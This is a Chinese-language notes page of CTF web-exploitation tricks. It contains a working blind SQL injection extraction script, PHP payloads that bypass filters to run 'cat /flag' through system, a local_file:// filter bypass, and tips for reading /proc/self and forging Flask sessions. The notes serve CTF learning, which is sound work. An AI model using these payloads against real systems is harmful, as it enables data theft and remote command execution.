if判断
写国赛题的时候碰到的盲注方法(因为平时很少写盲注题所以记录一下,应该是一种很基本的盲注方法🤔️)
if(判断语句,真结果,假结果)
下面是一个示例exp
import requests
s=requests.session()
flag = ''
for i in range(1,50):
for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
url="..."
sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
data={"id":sqls}
c = s.post(url,data=data,timeout=10)
if 'Hello' in c.text:
flag += j
print(flag)
break
base_convert()
这个函数可以在任意进制之间进行切换,例如
base_convert(37907361743,10,36)
就是把十进制转换为36进制,结果是_GET
{1}&1=system
先来回顾一下这种用法
$a='system';
$a('cat/flag');
此时很容易想到一种绕过方法
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
但有时候题目狗到连[]都要给你过滤,此时就可以用标题的方法了
?c=($_GET{a})($_GET{b})&a=system&b=cat /flag
RC4加密
这里记录一个RC4加密脚本
from urllib import parse
def s_init(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256 # key的中括号里面一长串是为了循环填充K盒
S[i], S[j] = S[j], S[i]
return S
def rc4_encode(plain_text, key):
S = s_init(key)
temp_data = []
i, j = 0, 0
for s in plain_text:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
temp_data.append(chr(ord(s) ^ k))
return ''.join(temp_data)
def rc4_decode(cipher_text, key):
S = s_init(key)
temp_data = []
i, j = 0, 0
for s in cipher_text:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
temp_data.append(chr(ord(s) ^ k))
return ''.join(temp_data)
def rc4_encode_url(plain_text, key):
return parse.quote(rc4_encode(plain_text, key))
if __name__ == '__main__':
# keys = str(input("Enter the key: "))
keys = 'HereIsTreasure'
plain = input("Enter the plain text: ")
print("The encoded text is: " + rc4_encode_url(plain, keys))
local_file://
碰到了一个这样的过滤
简单来说就是不能出现flag和file。但是local_file显然不属于这个过滤范围(属于又是一个正则写不到位的过滤😑),用法和file一样
/sys/class/net/eth0/address
可以用来获取eth0网卡的MAC地址。这里有个小tip,MAC地址看似是一串用:
分开的不规则字符串,但实际是一串16进制数。
在python中可以用uuid.getnode()
获取到本机的整数形式MAC地址。
python2和3的一个小区别
在算random生成的随机数时,python2和3在相同种子下得出的精度不同,因此要先确定要破解的对象环境是2还是3
/proc/self/…
这东西之前有提到过一种特殊的溢出绕过法
加cmdline
可以查看当前进程的终端命令
加pwd
可以查看当前进程的运行目录
什么都不加就是查看当前进程
flask session的构造
flask session由两个点分为三部分,第一部分是base64编码,第二部分是时间戳,第三部分是安全签名